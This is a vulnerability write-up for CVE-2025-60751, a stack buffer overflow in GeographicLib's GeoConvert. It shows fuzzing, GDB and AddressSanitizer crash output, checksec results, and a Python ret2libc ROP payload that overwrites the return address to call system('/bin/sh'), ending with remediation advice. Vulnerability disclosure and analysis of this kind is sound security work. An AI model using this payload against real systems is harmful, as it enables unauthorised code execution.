CVE-2025-60751 – GeographicLib Stack Buffer Overflow

Overview

This write-up covers the discovery of a Stack Buffer Overflow vulnerability in GeographicLib. The CVE-2025-60751 allows an attacker to cause a Denial of Service (Crash) and potentially execute arbitrary code under certain conditions.

I wrote a Proof of Concept available at https://github.com/zer0matt/CVE-2025-60751

For more official information, see the CVE entry: CVE-2025-60751.

Confirmed vulnerable versions

Affected product: Geographiclib v2.5.1

The versions prior to 2.5.1 are likely to be vulnerable as well.

CVSS:3.1 Score

7.5 High - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Technical Analysis

The vulnerability stems from improper bounds checking in GeographicLib when processing specific inputs. This can lead to a stack buffer overflow, causing a Denial of Service of the application and potentially allowing code execution.

An attacker could also exploit this vulnerability to hijack the program's control flow using a ROP Chain by overwriting a return address to point to a libc function (ret2libc) and perform code execution.

Tested on Kali Linux 6.12.25-amd64 (Virtual Machine)

Geographiclib version: 2.5.1

Detailed analysis, PoC, and mitigations are covered here.

Introduction

GeographicLib is a C++ library used for many tasks, including:

And it is this last component that the vulnerability focuses on. I built the program with the makefile provided by the repository as it is. Then, I used the AFL++ fuzzer to generate crafted payloads to study GeoConvert's behavior when it receives specific inputs. After about 24 hours of fuzzing, I decided to stop it and look at the output directory listing all the inputs that generated SEGFAULT and crashed the program. In a program written in C/C++, memory management can be critical, and it is not unusual to find memory corruption vulnerabilities. An input that crashes the program with a Segmentation Fault can be very interesting to analyze and worth investigating to see what is happening.

Crash analysis

After reproducing the crash, I decided to analyze it with the GDB gnu debugger.

matt@kali:~$ gdb --args GeoConvert < crash [...] [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x1 $rbx : 0x1 $rcx : 0x00005555555b1d10 → 0x00005555555a99d2 → 0x0073656572676564 ("degrees"?) $rdx : 0x1 $rsp : 0x00007fffffffce08 → 0x0000555555585ec8 → , std::allocator > const&, GeographicLib::DMS::flag&)+1e68> mov r14, rax $rbp : 0x3 $rsi : 0xe $rdi : 0x1 $rip : 0x00007ffff7b71119 → vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi] $r8 : 0x00007ffff7bf1ac0 → 0x0000000000000000 $r9 : 0x1 $r10 : 0x6 $r11 : 0x0 $r12 : 0xa $r13 : 0x11 $r14 : 0x00005555555b2508 → 0x00005555555b7800 → <__afl_area_initial+0000> add BYTE PTR [rax], al $r15 : 0x00007fffffffceb0 → 0xffffffffffffffff $eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffce08│+0x0000: 0x0000555555585ec8 → , std::allocator > const&, GeographicLib::DMS::flag&)+1e68> mov r14, rax ← $rsp 0x00007fffffffce10│+0x0008: 0x00007fffffffce54 → 0xffffd19800000000 0x00007fffffffce18│+0x0010: 0x00007ffff7c091e8 → 0x0000000000000000 0x00007fffffffce20│+0x0018: 0x00007ffff7fc0788 → 0x00007ffff7ffe310 → 0x0000555555554000 → jg 0x555555554047 0x00007fffffffce28│+0x0020: 0x0000000000000006 0x00007fffffffce30│+0x0028: 0x0000000000000000 0x00007fffffffce38│+0x0030: 0x00007fffffffce48 → 0x00005555557cb300 → 0x00005555555b1c30 → 0x00007ffff7e56be8 → 0x00007ffff7cb4230 → <__cxxabiv1::__si_class_type_info::~__si_class_type_info()+0000> endbr64 0x00007fffffffce40│+0x0038: 0x0000000000000000 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff7b71109 and eax, 0xfff 0x7ffff7b7110e cmp eax, 0xfe0 0x7ffff7b71113 ja 0x7ffff7b71250 → 0x7ffff7b71119 vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi] 0x7ffff7b7111d vpmovmskb eax, ymm1 0x7ffff7b71121 test eax, eax 0x7ffff7b71123 je 0x7ffff7b71180 0x7ffff7b71125 tzcnt eax, eax 0x7ffff7b71129 vzeroupper ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "GeoConvert", stopped 0x7ffff7b71119 in ?? (), reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff7b71119 → vpcmpeqb ymm1, ymm0, YMMWORD PTR [rdi] [#1] 0x555555585ec8 → std::char_traits::length(__s=0x1 ) [#2] 0x555555585ec8 → std::__cxx11::basic_string, std::allocator >::basic_string(this=0x7fffffffcea0, __s=0x1 , __a=) [#3] 0x555555585ec8 → GeographicLib::DMS::InternalDecode(dmsa="77777'777:::::::::", ind=@0x7fffffffd1e4) [#4] 0x5555555827de → GeographicLib::DMS::Decode(dms=, ind=@0x7fffffffd27c) [#5] 0x55555558e47e → GeographicLib::DMS::DecodeLatLon(stra=, strb="\036.", lat=@0x7fffffffd698, lon=@0x7fffffffd6a0, longfirst=0xc0) [#6] 0x555555560803 → GeographicLib::GeoCoords::Reset(this=0x7fffffffd698, s=, centerp=0x1, longfirst=0x0) [#7] 0x55555555c43d → main(argc=, argv=)

I recompiled the whole project with ASAN flags to check for any memory corruption and I got the message I was waiting for: Stack buffer overflow.

================================================================= ==397936==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fd8710025f8 at pc 0x55fd04b95f7e bp 0x7ffff9a7f7d0 sp 0x7ffff9a7f7c8 WRITE of size 8 at 0x7fd8710025f8 thread T0 #0 0x55fd04b95f7d in GeographicLib::DMS::InternalDecode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&) DMS.cpp:291:22 #1 0x55fd04b8c597 in GeographicLib::DMS::Decode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&) DMS.cpp:178:12 #2 0x55fd04b96ed7 in GeographicLib::DMS::DecodeLatLon(std::__cxx11::basic_string, std::allocator> const&, std::__cxx11::basic_string, std::allocator> const&, double&, double&, bool) DMS.cpp:368:9 #3 0x55fd04b6da24 in GeographicLib::GeoCoords::Reset(std::__cxx11::basic_string, std::allocator> const&, bool, bool) GeoCoords.cpp:35:7 #4 0x55fd04b697c9 in main GeoConvert.cpp:188:11 #5 0x7fd8727f4ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #6 0x7fd8727f4d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #7 0x55fd04a83a00 in _start (GeoConvert+0x36a00) (BuildId: 79250b7b698dfd6b71946007b7b4be0f1ef38cf2) Address 0x7fd8710025f8 is located in stack of thread T0 at offset 1528 in frame #0 0x55fd04b8d75f in GeographicLib::DMS::InternalDecode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&) DMS.cpp:192 This frame has 84 object(s): [...] [1504, 1528) 'ipieces' (line 235) <== Memory access at offset 1528 overflows this variable [...] HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow DMS.cpp:291:22 in GeographicLib::DMS::InternalDecode(std::__cxx11::basic_string, std::allocator> const&, GeographicLib::DMS::flag&) Shadow bytes around the buggy address: 0x7fd871002300: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 0x7fd871002380: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 0x7fd871002400: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 0x7fd871002480: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 0x7fd871002500: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 =>0x7fd871002580: f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 00 00 00[f2] 0x7fd871002600: f2 f2 f2 f2 00 00 00 f2 f2 f2 f2 f2 00 f2 f2 f2 0x7fd871002680: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 0x7fd871002700: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 0x7fd871002780: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 0x7fd871002800: f8 f8 f8 f8 f2 f2 f2 f2 f8 f8 f8 f8 f2 f2 f2 f2 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==397936==ABORTING

This confirms there is a Stack buffer overflow vulnerability! And it is found at DMS.cpp:291; due to an improper validation of the internal index k in the ipieces array, it generates an out-of-bounds write on the stack. ipiecesoutofboundsindex

Exploit

Now it's time to see if and how we can exploit it and take advantage of it. Is the impact limited to a Denial of Service (crash application) or can we aim for something more?

First, I used checksec to see what security properties the GeoConvert binary has:

matt@kali:~$ checksec --file=GeoConvert RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 635 Symbols Yes 4 6 GeoConvert
Based on the output, which showed me the security measures implemented such as "NX protection", I decided to try a return-to-libc attack.

The choice to use this technique is not random, it is often used to bypass the "NX protection", therefore it can be useful and can lead us to a successful exploitation.

In order to launch a ret2libc attack we need three things:

Now, in order to exploit it successfully we need to collect them and join all of 'em into a ROP Chain; to build it we're gonna use ROPgadget application.

Having all them combined together, we can build a successful exploit:

# --- REPLACE THE ADDRESSES WITH YOUR OWN ONES --- pop_rdi = 0x000055555558BEFD ret_gadget = 0x000055555558A016 system_addr = 0x7ffff7a5d110 binsh_addr = 0x7ffff7bb1ea4 exit_addr = 0x7ffff7a4c340 # --- PAYLOAD --- offset = 136 payload = b"A" * offset payload += p64(ret_gadget) # stack align payload += p64(pop_rdi) # pop rdi; ret payload += p64(binsh_addr) # "/bin/sh" address payload += p64(system_addr) # system("/bin/sh") payload += p64(exit_addr) # exit
Ret2libc

By doing so, we're able to overwrite the return address with the system(/bin/sh) and invoke a shell. A PoC is available at https://github.com/zer0matt/CVE-2025-60751

Of course, modern systems deploy plenty mitigation techniques against memory corruption: ASLR, NX/DEP, PIE, stack canaries and RELRO. Turning a stack-buffer-overflow into reliable code execution requires specific conditions (predictable libc addresses or a memory leak, disabled/absent canaries, or non-PIE builds). And I was able to reproduce it on my environment test, this does not necessarily mean that it's possible to reproduce it on fully patched production builds.

Remediation

The vendor has officially patched the vulnerability by releasing the new version 2.5.2. If upgrading is not possible, avoid processing untrusted or malformed inputs with GeoConvert and run the program with restricted privileges.

Disclosure Timeline

References & Resources